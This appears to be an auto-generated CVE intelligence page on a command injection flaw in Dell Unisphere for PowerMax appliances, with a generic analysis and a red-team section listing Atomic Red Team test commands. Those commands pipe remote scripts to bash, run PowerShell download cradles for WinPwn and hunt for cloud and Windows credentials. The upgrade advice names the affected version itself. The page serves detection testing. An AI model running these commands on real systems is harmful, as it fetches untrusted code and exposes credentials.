CVE-2022-45104
Overview
This vulnerability is a command injection flaw rooted in improper input validation within Dell Unisphere for PowerMax vApp and related virtual appliances. The affected components fail to adequately sanitize user-supplied input passed to system-level command execution functions, specifically in the VASA Provider vApp and Solution Enabler vApp. This allows low-privileged remote users to inject arbitrary commands that are executed on the underlying operating system environment.
Vulnerability Description
Dell Unisphere for PowerMax vApp, VASA Provider vApp, and Solution Enabler vApp version 9.2.3.x contain a command execution vulnerability. A low privileged remote attacker could potentially exploit this vulnerability, leading to execute arbitrary commands on the underlying system.
Impact
An attacker with network access and low privilege credentials can leverage this vulnerability to execute arbitrary commands on the host system, potentially gaining unauthorized control over the appliance. This could lead to unauthorized data access, disruption of storage management services, or lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates that exploitation requires network access and low privileges but no user interaction, emphasizing the ease of remote exploitation within trusted environments.
Solution
Dell has released security updates addressing this vulnerability in Dell Unisphere for PowerMax vApp and related components, detailed in advisory DSA-2022-340 (https://www.dell.com/support/kbdoc/en-us/000207177). Users should upgrade affected appliances to version 9.2.3.x or later as specified by Dell. The advisory provides step-by-step patching instructions and recommends applying these updates promptly to mitigate the command injection risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The command execution vulnerability present in Dell's Unisphere for PowerMax, VASA Provider, and Solution Enabler virtual appliances allows a low privileged remote attacker to execute arbitrary commands on the underlying system. This flaw arises from inadequate input validation and insufficient access controls, which can be exploited to gain unauthorized access to system functions. Attackers can leverage this weakness to run malicious commands, potentially leading to a complete compromise of the affected systems. The severity of this vulnerability is underscored by its high CVSS score of 8.8, indicating a critical risk that organizations must address promptly.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with low privileges could initiate a remote connection to the affected virtual appliances, utilizing crafted requests that manipulate the command execution process. This could be achieved through web interfaces or APIs that are inadequately secured. Once the attacker successfully executes arbitrary commands, they could manipulate system configurations, access sensitive data, or deploy further malicious payloads, thereby escalating their privileges and gaining deeper access to the network infrastructure. Such scenarios highlight the need for robust security measures to prevent unauthorized access and command execution.
The real-world impact of this vulnerability can be significant for organizations utilizing the affected Dell products. Successful exploitation could lead to data breaches, loss of sensitive information, and disruption of critical services. The ability to execute arbitrary commands may allow attackers to install malware, exfiltrate data, or even launch attacks on other systems within the network. The business risk extends beyond immediate financial losses; it can also damage an organization's reputation, erode customer trust, and result in regulatory penalties if sensitive data is compromised. Organizations must recognize that the consequences of such vulnerabilities can be far-reaching and necessitate a proactive approach to cybersecurity.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security strategy. Regular vulnerability assessments and penetration testing can help identify weaknesses in the system before they are exploited. Additionally, organizations should ensure that they are running the latest versions of the affected virtual appliances, as vendors typically release patches to address known vulnerabilities. Employing network segmentation can also limit the potential impact of an attack by isolating critical systems from less secure environments. Furthermore, implementing strict access controls and monitoring for unusual activity can help detect potential exploitation attempts in real-time.
In conclusion, the command execution vulnerability in Dell's virtual appliances presents a serious threat to organizations that rely on these products for their operations. The potential for remote attackers to execute arbitrary commands poses significant risks, including data breaches and service disruptions. Organizations must adopt comprehensive detection and mitigation strategies to safeguard their systems, ensuring they remain vigilant against evolving threats in the cybersecurity landscape. By prioritizing security measures and staying informed about vulnerabilities, businesses can better protect themselves from the potential ramifications of such exploits.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Evasa Provider Virtual Appliance | All |
cpe:2.3:a:dell:evasa_provider_virtual_appliance:*:*:*:*:*:*:*:*
|
|
|
Dell | Solutions Enabler Virtual Appliance | All |
cpe:2.3:a:dell:solutions_enabler_virtual_appliance:*:*:*:*:*:*:*:*
|
|
|
Dell | Solutions Enabler Virtual Appliance | All |
cpe:2.3:a:dell:solutions_enabler_virtual_appliance:*:*:*:*:eem:*:*:*
|
|
|
Dell | Unisphere For Powermax Virtual Appliance | All |
cpe:2.3:a:dell:unisphere_for_powermax_virtual_appliance:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-45104 |
| dell.com |
GitHub CVE
vendor-advisory
|
https://www.dell.com/support/kbdoc/en-us/000207177/dsa-2022-340-dell-unisphere-for-powermax-dell-unisphere-for-powermax-vapp-dell-solutions-enabler-vapp-dell-unisphere-360-dell-vasa-provider-vapp-and-dell-powermax-emb-mgmt-security-update-for-multiple-vulnerabilities |